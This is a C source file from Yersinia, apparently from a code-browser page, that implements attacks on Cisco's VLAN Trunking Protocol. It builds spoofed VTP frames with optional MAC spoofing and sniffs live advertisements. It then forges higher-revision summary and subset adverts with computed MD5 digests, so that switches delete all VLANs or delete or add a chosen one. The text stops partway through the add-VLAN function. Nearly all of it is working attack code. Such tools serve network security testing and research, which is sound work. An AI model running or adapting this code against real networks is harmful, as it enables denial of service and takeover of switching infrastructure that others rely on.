1 /* vtp.c
2 * Implementation and attacks for Cisco's VLAN Trunking Protocol
3 *
4 * Yersinia
5 * By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
6 * Copyright 2005-2017 Alfredo Andres and David Barroso
7 *
8 * This program is free software; you can redistribute it and/or
9 * modify it under the terms of the GNU General Public License
10 * as published by the Free Software Foundation; either version 2
11 * of the License, or (at your option) any later version.
12 *
13 * This program is distributed in the hope that it will be useful,
14 * but WITHOUT ANY WARRANTY; without even the implied warranty of
15 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 * GNU General Public License for more details.
17 *
18 * You should have received a copy of the GNU General Public License
19 * along with this program; if not, write to the Free Software
20 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
21 */
22
23 #ifdef HAVE_CONFIG_H
24 #include <config.h>
25 #endif
26
27 #ifndef _REENTRANT
28 #define _REENTRANT
29 #endif
30
31 #include <stdio.h>
32 #include <errno.h>
33 #include <sys/types.h>
34 #include <sys/socket.h>
35
36 #ifdef HAVE_NETINET_IN_SYSTM_H
37 #include <netinet/in_systm.h>
38 #else
39 #ifdef HAVE_NETINET_IN_SYSTEM_H
40 #include <netinet/in_system.h>
41 #endif
42 #endif
43
44 #include <netinet/in.h>
45 #include <arpa/inet.h>
46 #include <signal.h>
47 #include <time.h>
48
49 #ifdef TIME_WITH_SYS_TIME
50 #include <sys/time.h>
51 #endif
52
53 #ifdef HAVE_UNISTD_H
54 #include <unistd.h>
55 #endif
56
57 #ifdef HAVE_STRING_H
58 #include <string.h>
59 #endif
60
61 #ifdef HAVE_STRINGS_H
62 #include <strings.h>
63 #endif
64
65 #ifdef HAVE_BSTRING_H
66 #include <bstring.h>
67 #endif
68
69 #ifdef STDC_HEADERS
70 #include <stdlib.h>
71 #endif
72
73 #ifdef HAVE_PTHREAD_H
74 #include <pthread.h>
75 #endif
76
77 #include <stdarg.h>
78
79 #include "vtp.h"
80
81 void
vtp_register(void)82 vtp_register(void)
83 {
84 protocol_register(PROTO_VTP, "VTP", "VLAN Trunking Protocol", "vtp",
85 sizeof(struct vtp_data), vtp_init_attribs, vtp_learn_packet,
86 vtp_get_printable_packet, vtp_get_printable_store, vtp_load_values,
87 vtp_attack, vtp_update_field, vtp_features,
88 vtp_comm_params, SIZE_ARRAY(vtp_comm_params), NULL, 0, NULL,
89 vtp_init_comms_struct, PROTO_VISIBLE, vtp_end);
90 }
91
92 /*
93 * Inicializa la estructura que se usa para relacionar el tmp_data
94 * de cada nodo con los datos que se sacaran por pantalla cuando
95 * se accede al demonio de red.
96 * Teoricamente como esta funcion solo se llama desde term_add_node()
97 * la cual, a su vez, solo es llamada al tener el mutex bloqueado por
98 * lo que no veo necesario que sea reentrante. (Fredy).
99 */
100 int8_t
vtp_init_comms_struct(struct term_node * node)101 vtp_init_comms_struct(struct term_node *node)
102 {
103 struct vtp_data *vtp_data;
104 void **comm_param;
105
106 comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(vtp_comm_params));
107
108 if (comm_param == NULL)
109 {
110 thread_error("vtp_init_commands_struct calloc error",errno);
111 return -1;
112 }
113
114 vtp_data = node->protocol[PROTO_VTP].tmp_data;
115
116 node->protocol[PROTO_VTP].commands_param = comm_param;
117
118 comm_param[VTP_SMAC] = &vtp_data->mac_source;
119 comm_param[VTP_DMAC] = &vtp_data->mac_dest;
120 comm_param[VTP_VERSION] = &vtp_data->version;
121 comm_param[VTP_CODE] = &vtp_data->code;
122 comm_param[VTP_DOMAIN] = &vtp_data->domain;
123 comm_param[VTP_MD5] = &vtp_data->md5;
124 comm_param[VTP_UPDATER] = &vtp_data->updater;
125 comm_param[VTP_REVISION] = &vtp_data->revision;
126 comm_param[VTP_TIMESTAMP] = &vtp_data->timestamp;
127 comm_param[VTP_STARTVAL] = &vtp_data->start_val;
128 comm_param[VTP_FOLLOWERS] = &vtp_data->followers;
129 comm_param[VTP_SEQ] = &vtp_data->seq;
130 comm_param[12] = NULL;
131 comm_param[13] = NULL;
132 comm_param[VTP_VLAN] = &vtp_data->options;
133
134 return 0;
135 }
136
137
vtp_th_send(void * arg)138 void vtp_th_send( void *arg )
139 {
140 struct attacks *attacks = (struct attacks *)arg;
141 struct vtp_data *vtp_data = (struct vtp_data *)attacks->data;
142 sigset_t mask;
143
144 pthread_mutex_lock(&attacks->attack_th.finished);
145
146 pthread_detach(pthread_self());
147
148 vtp_data->dom_len = strlen(vtp_data->domain);
149
150 write_log(0,"\n\nvtp_th_send domain=%s dom_len=%d\n\n",vtp_data->domain,vtp_data->dom_len);
151
152 sigfillset(&mask);
153
154 if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
155 {
156 thread_error("vtp_th_send pthread_sigmask()",errno);
157 vtp_th_send_exit(attacks);
158 }
159
160 vtp_send(attacks);
161
162 vtp_th_send_exit(attacks);
163 }
164
165
vtp_th_send_exit(struct attacks * attacks)166 void vtp_th_send_exit( struct attacks *attacks )
167 {
168 attack_th_exit(attacks);
169
170 pthread_mutex_unlock(&attacks->attack_th.finished);
171
172 pthread_exit(NULL);
173 }
174
175
176
177 int8_t
vtp_send(struct attacks * attacks)178 vtp_send(struct attacks *attacks)
179 {
180 libnet_ptag_t t;
181 libnet_t *lhandler;
182 u_int32_t vtp_len=0, sent;
183 struct vtp_data *vtp_data;
184 struct vtp_summary *vtp_summ;
185 struct vtp_subset *vtp_subset;
186 struct vtp_request *vtp_request;
187 struct vtp_join *vtp_join;
188 u_int8_t *vtp_packet, *aux;
189 u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };
190 dlist_t *p;
191 struct interface_data *iface_data;
192 struct interface_data *iface_data2;
193
194 vtp_data = attacks->data;
195
196 switch(vtp_data->code)
197 {
198 case VTP_SUMM_ADVERT:
199 vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);
200 break;
201 case VTP_SUBSET_ADVERT:
202 vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset)+vtp_data->vlans_len;
203 break;
204 case VTP_REQUEST:
205 vtp_len = sizeof(cisco_data)+38;
206 break;
207 case VTP_JOIN:
208 vtp_len = sizeof(cisco_data)+40+126;
209 break;
210 default:
211 vtp_len = sizeof(cisco_data)+30;
212 break;
213 }
214
215 vtp_packet = calloc(1,vtp_len);
216
217 if (vtp_packet == NULL)
218 {
219 thread_error("vtp_send calloc error",errno);
220 return -1;
221 }
222
223 aux = vtp_packet;
224 memcpy(vtp_packet,cisco_data,sizeof(cisco_data));
225 aux+=sizeof(cisco_data);
226
227 switch(vtp_data->code)
228 {
229 case VTP_SUMM_ADVERT:
230 vtp_summ = (struct vtp_summary *)aux;
231 vtp_summ->version = vtp_data->version;
232 vtp_summ->code = vtp_data->code;
233 vtp_summ->followers = vtp_data->followers;
234 if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
235 {
236 vtp_summ->dom_len = VTP_DOMAIN_SIZE;
237 memcpy(vtp_summ->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
238 }
239 else
240 {
241 vtp_summ->dom_len = vtp_data->dom_len;
242 memcpy(vtp_summ->domain,vtp_data->domain,vtp_data->dom_len);
243 }
244 vtp_summ->revision = htonl(vtp_data->revision);
245 vtp_summ->updater = htonl(vtp_data->updater);
246 memcpy(vtp_summ->timestamp,vtp_data->timestamp,VTP_TIMESTAMP_SIZE);
247 memcpy(vtp_summ->md5,vtp_data->md5,16);
248 break;
249
250 case VTP_SUBSET_ADVERT:
251 vtp_subset = (struct vtp_subset *)aux;
252 vtp_subset->version = vtp_data->version;
253 vtp_subset->code = vtp_data->code;
254 vtp_subset->seq = vtp_data->seq;
255 if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
256 {
257 vtp_subset->dom_len = VTP_DOMAIN_SIZE;
258 memcpy(vtp_subset->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
259 }
260 else
261 {
262 vtp_subset->dom_len = vtp_data->dom_len;
263 memcpy(vtp_subset->domain,vtp_data->domain,vtp_data->dom_len);
264 }
265 vtp_subset->revision = htonl(vtp_data->revision);
266 if (vtp_data->vlans_len)
267 memcpy((vtp_subset+1),vtp_data->vlan_info,vtp_data->vlans_len);
268 break;
269
270 case VTP_REQUEST:
271 vtp_request = (struct vtp_request *)aux;
272 vtp_request->version = vtp_data->version;
273 vtp_request->code = vtp_data->code;
274 vtp_request->reserved = 0;
275 if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
276 {
277 vtp_request->dom_len = VTP_DOMAIN_SIZE;
278 memcpy(vtp_request->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
279 }
280 else
281 {
282 vtp_request->dom_len = vtp_data->dom_len;
283 memcpy(vtp_request->domain,vtp_data->domain,vtp_data->dom_len);
284 }
285 vtp_request->start_val = htons(vtp_data->start_val);
286 break;
287
288 case VTP_JOIN:
289 vtp_join = (struct vtp_join *)aux;
290 vtp_join->version = vtp_data->version;
291 vtp_join->code = vtp_data->code;
292 vtp_join->maybe_reserved = 0;
293 if (vtp_data->dom_len > VTP_DOMAIN_SIZE)
294 {
295 vtp_join->dom_len = VTP_DOMAIN_SIZE;
296 memcpy(vtp_join->domain,vtp_data->domain,VTP_DOMAIN_SIZE);
297 }
298 else
299 {
300 vtp_join->dom_len = vtp_data->dom_len;
301 memcpy(vtp_join->domain,vtp_data->domain,vtp_data->dom_len);
302 }
303 vtp_join->vlan = htonl(0x000003ef);
304 vtp_join->unknown[0] = 0x40;
305 break;
306 default:
307 aux[0]=vtp_data->version;
308 aux[1]=vtp_data->code;
309 break;
310 }
311
312 for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) {
313 iface_data = (struct interface_data *) dlist_data(p);
314 lhandler = iface_data->libnet_handler;
315
316 t = libnet_build_802_2(
317 0xaa, /* DSAP */
318 0xaa, /* SSAP */
319 0x03, /* control */
320 vtp_packet, /* payload */
321 vtp_len, /* payload size */
322 lhandler, /* libnet handle */
323 0); /* libnet id */
324
325 if (t == -1)
326 {
327 thread_libnet_error("Can't build ethernet header",lhandler);
328 libnet_clear_packet(lhandler);
329 free(vtp_packet);
330 return -1;
331 }
332
333 t = libnet_build_802_3(
334 vtp_data->mac_dest, /* ethernet destination */
335 (attacks->mac_spoofing) ? vtp_data->mac_source : iface_data->etheraddr,
336 /* ethernet source */
337 LIBNET_802_2_H + vtp_len, /* frame size */
338 NULL, /* payload */
339 0, /* payload size */
340 lhandler, /* libnet handle */
341 0); /* libnet id */
342
343 if (t == -1)
344 {
345 thread_libnet_error("Can't build ethernet header",lhandler);
346 libnet_clear_packet(lhandler);
347 free(vtp_packet);
348 return -1;
349 }
350
351 /*
352 * Write it to the wire.
353 */
354 sent = libnet_write(lhandler);
355
356 if (sent == -1) {
357 thread_libnet_error("libnet_write error", lhandler);
358 libnet_clear_packet(lhandler);
359 free(vtp_packet);
360 return -1;
361 }
362 libnet_clear_packet(lhandler);
363 protocols[PROTO_VTP].packets_out++;
364 iface_data2 = interfaces_get_struct(iface_data->ifname);
365 iface_data2->packets_out[PROTO_VTP]++;
366 }
367
368 free(vtp_packet);
369
370 return 0;
371 }
372
373
374 /*
375 * Delete all VTP vlans
376 */
377 void
vtp_th_dos_del_all(void * arg)378 vtp_th_dos_del_all(void *arg)
379 {
380 struct attacks *attacks = (struct attacks *)arg;
381 struct vtp_data *vtp_data, vtp_data_learned;
382 struct pcap_pkthdr header;
383 struct pcap_data pcap_aux;
384 struct libnet_802_3_hdr *ether;
385 struct timeval now;
386 u_int8_t *packet=NULL;
387 sigset_t mask;
388 /* Cisco default vlans */
389 u_int8_t vlan_cisco[]={ 0x14, 0x00, 0x01, 0x07, 0x00, 0x01, 0x05, 0xdc,
390 0x00, 0x01, 0x86, 0xa1, 0x64, 0x65, 0x66, 0x61,
391 0x75, 0x6c, 0x74, 0x00, 0x20, 0x00, 0x02, 0x0c,
392 0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a,
393 0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66,
394 0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00,
395 0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12,
396 0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b,
397 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69,
398 0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75,
399 0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
400 0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f,
401 0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c,
402 0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d,
403 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00,
404 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01,
405 0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc,
406 0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65,
407 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c,
408 0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00,
409 0x03, 0x01, 0x00, 0x02 };
410
411 pthread_mutex_lock(&attacks->attack_th.finished);
412
413 pthread_detach(pthread_self());
414
415 sigfillset(&mask);
416
417 if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
418 {
419 thread_error("vtp_th_dos_del_all pthread_sigmask()",errno);
420 vtp_th_dos_del_all_exit(attacks);
421 }
422
423 vtp_data = attacks->data;
424
425 gettimeofday(&now, NULL);
426
427 header.ts.tv_sec = now.tv_sec;
428 header.ts.tv_usec = now.tv_usec;
429
430 if ((packet = calloc(1, SNAPLEN)) == NULL)
431 vtp_th_dos_del_all_exit(attacks);
432
433
434 while (!attacks->attack_th.stop)
435 {
436 memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data));
437 interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet,
438 PROTO_VTP, NO_TIMEOUT);
439 if (attacks->attack_th.stop)
440 break;
441
442 ether = (struct libnet_802_3_hdr *) packet;
443
444 if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) )
445 continue; /* Oops!! Its our packet... */
446
447 pcap_aux.header = &header;
448 pcap_aux.packet = packet;
449
450 if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0)
451 continue;
452
453 if ((vtp_data_learned.code != VTP_SUMM_ADVERT)
454 && (vtp_data_learned.code != VTP_SUBSET_ADVERT) )
455 continue;
456
457 write_log(0," Domain %s\n",vtp_data_learned.domain);
458 write_log(0," Dom_len %d\n",vtp_data_learned.dom_len);
459 write_log(0," Followers %d\n",vtp_data_learned.followers);
460 write_log(0," Revision %X\n",(vtp_data_learned.revision+1));
461 if (vtp_generate_md5( NULL,
462 vtp_data->updater,
463 (vtp_data_learned.revision+1),
464 vtp_data_learned.domain,
465 vtp_data_learned.dom_len,
466 vlan_cisco,
467 sizeof(vlan_cisco),
468 vtp_data->md5,
469 vtp_data_learned.version) < 0)
470 break;
471
472 vtp_data->code = VTP_SUMM_ADVERT;
473 vtp_data->followers = 1;
474 if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
475 {
476 vtp_data->dom_len = VTP_DOMAIN_SIZE;
477 memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
478 }
479 else
480 {
481 vtp_data->dom_len = vtp_data_learned.dom_len;
482 memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
483 }
484 vtp_data->revision = vtp_data_learned.revision+1;
485
486 thread_usleep(200000);
487 if (vtp_send(attacks)< 0)
488 break;
489 thread_usleep(200000);
490
491 vtp_data->code = VTP_SUBSET_ADVERT;
492 vtp_data->seq = 1;
493
494 vtp_data->vlan_info = vlan_cisco;
495 vtp_data->vlans_len = sizeof(vlan_cisco);
496 vtp_send(attacks);
497
498 break;
499 }
500
501 free(packet);
502
503 vtp_th_dos_del_all_exit(attacks);
504 }
505
506
507 /*
508 * Generate the MD5 hash for a VTP Summary-Advert packet
509 */
510 int8_t
vtp_generate_md5(char * secret,u_int32_t updater,u_int32_t revision,char * domain,u_int8_t dom_len,u_int8_t * vlans,u_int16_t vlans_len,u_int8_t * md5,u_int8_t version)511 vtp_generate_md5(char *secret, u_int32_t updater, u_int32_t revision, char *domain,
512 u_int8_t dom_len, u_int8_t *vlans, u_int16_t vlans_len, u_int8_t *md5,
513 u_int8_t version)
514 {
515 u_int8_t *data, md5_secret[16];
516 struct vtp_summary *vtp_summ;
517
518 /* Space for the data (MD5+SUMM_ADVERT+VLANS+MD5)...*/
519 if ( (data = calloc(1, (16+sizeof(struct vtp_summary)+vlans_len+16))) == NULL)
520 {
521 thread_error("vtp_generate_md5 calloc()",errno);
522 return -1;
523 }
524
525 /* Do MD5 secret...*/
526 if (secret)
527 md5_sum(data, strlen(secret), md5_secret);
528
529 vtp_summ = (struct vtp_summary *)(data+16);
530
531 write_log(0,"Se calcula MD5 con version=%d\n",version);
532
533 vtp_summ->version = version;
534 vtp_summ->code = 0x01;
535 if (dom_len > VTP_DOMAIN_SIZE)
536 {
537 vtp_summ->dom_len = VTP_DOMAIN_SIZE;
538 memcpy(vtp_summ->domain,domain,VTP_DOMAIN_SIZE);
539 }
540 else
541 {
542 vtp_summ->dom_len = dom_len;
543 memcpy(vtp_summ->domain,domain,dom_len);
544 }
545 vtp_summ->updater = htonl(updater);
546 vtp_summ->revision = htonl(revision);
547
548 if (vlans_len)
549 memcpy((void *)(vtp_summ+1),vlans,vlans_len);
550
551 if (secret)
552 memcpy((void *)(data+16+sizeof(struct vtp_summary)+vlans_len),md5_secret,16);
553
554 md5_sum(data, (32+sizeof(struct vtp_summary)+vlans_len), md5);
555
556 free(data);
557
558 return 0;
559 }
560
561
562
vtp_th_dos_del_all_exit(struct attacks * attacks)563 void vtp_th_dos_del_all_exit( struct attacks *attacks )
564 {
565 attack_th_exit(attacks);
566
567 pthread_mutex_unlock(&attacks->attack_th.finished);
568
569 pthread_exit(NULL);
570 }
571
572
573 /*
574 * Delete 1 VTP vlan
575 */
576 void
vtp_th_dos_del(void * arg)577 vtp_th_dos_del(void *arg)
578 {
579 struct attacks *attacks=NULL;
580 sigset_t mask;
581
582 attacks = arg;
583
584 pthread_mutex_lock(&attacks->attack_th.finished);
585
586 pthread_detach(pthread_self());
587
588 sigfillset(&mask);
589
590 if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
591 {
592 thread_error("vtp_th_dos_del pthread_sigmask()",errno);
593 vtp_th_dos_del_exit(attacks);
594 }
595
596 vtp_modify_vlan(VTP_VLAN_DEL,attacks);
597
598 vtp_th_dos_del_exit(attacks);
599 }
600
601
602 void
vtp_modify_vlan(u_int8_t op,struct attacks * attacks)603 vtp_modify_vlan(u_int8_t op, struct attacks *attacks)
604 {
605 struct vtp_data *vtp_data, vtp_data_learned;
606 struct pcap_pkthdr header;
607 struct pcap_data pcap_aux;
608 struct libnet_802_3_hdr *ether;
609 struct attack_param *param=NULL;
610 struct timeval now;
611 u_int8_t *packet=NULL;
612 char *vlan_name = NULL;
613 u_int16_t *vlan=NULL;
614
615 vtp_data = attacks->data;
616
617 param = attacks->params;
618
619 vlan = (u_int16_t *)param[VTP_PARAM_VLAN_ID].value;
620
621 if (op == VTP_VLAN_ADD)
622 vlan_name = (char *)param[VTP_PARAM_VLAN_NAME].value;
623
624 gettimeofday(&now, NULL);
625
626 header.ts.tv_sec = now.tv_sec;
627 header.ts.tv_usec = now.tv_usec;
628
629 if ((packet = calloc(1, SNAPLEN)) == NULL)
630 return;
631
632 while (!attacks->attack_th.stop)
633 {
634 memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data));
635 interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet,
636 PROTO_VTP, NO_TIMEOUT);
637 if (attacks->attack_th.stop)
638 break;
639
640 ether = (struct libnet_802_3_hdr *) packet;
641
642 if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) )
643 continue; /* Oops!! Its our packet... */
644
645 pcap_aux.header = &header;
646 pcap_aux.packet = packet;
647
648 if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0)
649 continue;
650
651 if ((vtp_data_learned.code != VTP_SUMM_ADVERT)
652 && (vtp_data_learned.code != VTP_SUBSET_ADVERT) )
653 continue;
654
655 if (vtp_data_learned.code == VTP_SUMM_ADVERT)
656
657 {
658 if ( !vtp_data_learned.followers)
659 {
660 write_log(0,"vtp_attack: No followers. Sending Request...\n");
661 vtp_data->version = vtp_data_learned.version;
662 vtp_data->code = VTP_REQUEST;
663 if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
664 {
665 vtp_data->dom_len = VTP_DOMAIN_SIZE;
666 memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
667 }
668 else
669 {
670 vtp_data->dom_len = vtp_data_learned.dom_len;
671 memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
672 }
673 vtp_data->start_val = 1;
674 if (vtp_send(attacks)< 0)
675 break;
676 }
677 continue;
678 }
679
680 write_log(0," Domain %s\n",vtp_data_learned.domain);
681 write_log(0," Dom_len %d\n",vtp_data_learned.dom_len);
682 write_log(0," Revision %X\n",(vtp_data_learned.revision+1));
683 write_log(0," Vlan_len %d\n",vtp_data_learned.vlans_len);
684
685 if (op == VTP_VLAN_DEL)
686 {
687 if (vtp_del_vlan(*vlan, vtp_data_learned.vlan_info,
688 &vtp_data_learned.vlans_len) < 0)
689 {
690 write_log(0," vtp_del_attack: VLAN %d not existent. Aborting...\n",*vlan);
691 break;
692 }
693 }
694 else /* Add vlan...*/
695 {
696 if (vtp_add_vlan(*vlan, vlan_name, &vtp_data_learned.vlan_info,
697 &vtp_data_learned.vlans_len) < 0)
698 {
699 write_log(0," vtp_add_attack: VLAN %d existent. Aborting...\n",*vlan);
700 break;
701 }
702 }
703
704 if (vtp_generate_md5( NULL,
705 vtp_data->updater,
706 (vtp_data_learned.revision+1),
707 vtp_data_learned.domain,
708 vtp_data_learned.dom_len,
709 vtp_data_learned.vlan_info,
710 vtp_data_learned.vlans_len,
711 vtp_data->md5,
712 vtp_data_learned.version) < 0)
713 break;
714
715 vtp_data->version = vtp_data_learned.version;
716 vtp_data->code = VTP_SUMM_ADVERT;
717 vtp_data->followers = 1;
718
719 if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
720 {
721 vtp_data->dom_len = VTP_DOMAIN_SIZE;
722 memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
723 }
724 else
725 {
726 vtp_data->dom_len = vtp_data_learned.dom_len;
727 memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
728 }
729 vtp_data->revision = vtp_data_learned.revision+1;
730
731 if (vtp_send(attacks)< 0)
732 break;
733 thread_usleep(200000);
734
735 vtp_data->version = vtp_data_learned.version;
736 vtp_data->code = VTP_SUBSET_ADVERT;
737 vtp_data->seq = 1;
738 vtp_data->vlans_len = vtp_data_learned.vlans_len;
739 vtp_data->vlan_info = vtp_data_learned.vlan_info;
740
741 write_log(0," Vlan_len after = %d\n",vtp_data_learned.vlans_len);
742
743 vtp_send(attacks);
744
745 break;
746 }
747
748 free(packet);
749 }
750
751
752 int8_t
vtp_del_vlan(u_int16_t vlan,u_int8_t * vlans,u_int16_t * vlen)753 vtp_del_vlan(u_int16_t vlan, u_int8_t *vlans, u_int16_t *vlen)
754 {
755 struct vlan_info *vlan_info, *vlan_info2;
756 u_int8_t gotit=0, *cursor, *cursor2;
757 u_int16_t len=0, vlans_len=0;
758
759 vlans_len = *vlen;
760
761 cursor = vlans;
762
763 while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
764 {
765 vlan_info = (struct vlan_info *) cursor;
766 if ((cursor+vlan_info->len) > (vlans+vlans_len))
767 break;
768 if (ntohs(vlan_info->id) == vlan)
769 {
770 write_log(0,"VLAN gotit!!\n");
771 gotit=1;
772 cursor+=vlan_info->len;
773 len = vlans_len-vlan_info->len;
774 if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
775 {
776 cursor2 = (u_int8_t *)vlan_info;
777 vlan_info2 = (struct vlan_info *) cursor2;
778 if ((cursor2+vlan_info2->len) > (vlans+vlans_len))
779 { /* Oversized!! */
780 gotit=0;
781 write_log(0," Oversized vlan length. Aborting...\n");
782 break;
783 }
784 write_log(0," *NOT* the last VLAN, moving %d bytes...\n",
785 ( (vlans+vlans_len) - (cursor2+vlan_info->len)));
786 memcpy((void *)vlan_info, (void *)(cursor2+vlan_info->len),
787 ((vlans+vlans_len) - (cursor2+vlan_info->len)));
788 }
789 break;
790 }
791 cursor+=vlan_info->len;
792 }
793
794 if (!gotit)
795 return -1;
796
797 *vlen = len;
798
799 return 0;
800 }
801
802
803
804 int8_t
vtp_add_vlan(u_int16_t vlan,char * vlan_name,u_int8_t ** vlans_ptr,u_int16_t * vlen)805 vtp_add_vlan(u_int16_t vlan, char *vlan_name, u_int8_t **vlans_ptr, u_int16_t *vlen)
806 {
807 struct vlan_info *vlan_info, *vlan_info2;
808 u_int8_t *cursor, *cursor2, *aux, *vlans, *last_init=NULL;
809 u_int16_t vlans_len, last_id=0, last_len=0;
810
811 vlans = *vlans_ptr;
812
813 vlans_len = *vlen;
814
815 aux = (u_int8_t *)calloc(1,vlans_len+sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)));
816 if (aux == NULL)
817 {
818 thread_error("vtp_add_vlan calloc()", errno);
819 return -1;
820 }
821
822 cursor = vlans;
823
824 while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
825 {
826 vlan_info = (struct vlan_info *) cursor;
827 if ((cursor+vlan_info->len) > (vlans+vlans_len))
828 break;
829 if ( (ntohs(last_id)<= vlan) && (ntohs(vlan_info->id)>= vlan) )
830 {
831 if (last_init == NULL) /* First VLAN */
832 {
833 vlan_info = (struct vlan_info *) aux;
834 vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name));
835 vlan_info->status = 0x00;
836 vlan_info->type = VLAN_TYPE_ETHERNET;
837 vlan_info->name_len = strlen(vlan_name);
838 vlan_info->id = htons(vlan);
839 vlan_info->mtu = htons(1500);
840 vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE);
841 memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name));
842 /* Now copy all the rest of vlans...*/
843 memcpy((void *)(aux+vlan_info->len),vlans,vlans_len);
844 *vlen = vlan_info->len+vlans_len;
845 *vlans_ptr = aux;
846 return 0;
847 }
848
849 cursor+=vlan_info->len;
850
851 if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len))
852 {
853 cursor2 = (u_int8_t *)vlan_info;
854 vlan_info2 = (struct vlan_info *) cursor2;
855 if ((cursor2+vlan_info2->len) > (vlans+vlans_len))
856 { /* Oversized!! */
857 write_log(0," Oversized vlan length. Aborting...\n");
858 free(aux);
859 return -1;
860 }
861 memcpy(aux,(void *)*vlans_ptr,( (last_init+last_len) - vlans ));
862 vlan_info = (struct vlan_info *) (aux+ ((last_init+last_len) - vlans));
863 vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name));
864 vlan_info->status = 0x00;
865 vlan_info->type = VLAN_TYPE_ETHERNET;
866 vlan_info->name_len = strlen(vlan_name);
867 vlan_info->id = htons(vlan);
868 vlan_info->mtu = htons(1500);
869 vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE);
870 memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name));
871 cursor=(u_int8_t *)vlan_info;
872 cursor+=vlan_info->len;
873 memcpy(cursor, cursor2, (vlans+vlans_len)-cursor2 );
874 *vlen = vlan_info->len+vlans_len;
875 *vlans_ptr = aux;
876 return 0;
877 }
878 else /* Last VLAN... */
879 {
880 free( aux );
881 return 0;
882 }
883
884 break;
885 } /* We got it */
886
887 last_len = vlan_info->len;
888 last_id = vlan_info->id;
889 last_init = (u_int8_t *)vlan_info;
890
891 cursor+=vlan_info->len;
892 }
893
894 /* Last VLAN...*/
895
896 memcpy((void *)aux,(void *)*vlans_ptr,vlans_len);
897
898 vlan_info = (struct vlan_info *)(aux+vlans_len);
899 vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name));
900 vlan_info->status = 0x00;
901 vlan_info->type = VLAN_TYPE_ETHERNET;
902 vlan_info->name_len = strlen(vlan_name);
903 vlan_info->id = htons(vlan);
904 vlan_info->mtu = htons(1500);
905 vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE);
906 memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name));
907 *vlen = vlan_info->len+vlans_len;
908 *vlans_ptr = aux;
909
910 return 0;
911 }
912
913
914
915
vtp_th_dos_del_exit(struct attacks * attacks)916 void vtp_th_dos_del_exit( struct attacks *attacks )
917 {
918 attack_th_exit(attacks);
919
920 pthread_mutex_unlock(&attacks->attack_th.finished);
921
922 pthread_exit(NULL);
923 }
924
925
926 /*
927 * Add 1 VTP vlan
928 */
929 void
vtp_th_dos_add(void * arg)930 vtp_th_dos_add(void *arg)
931 {
932 struct attacks *attacks = (struct attacks *)arg;
933 sigset_t mask;
934
935 pthread_mutex_lock(&attacks->attack_th.finished);
936
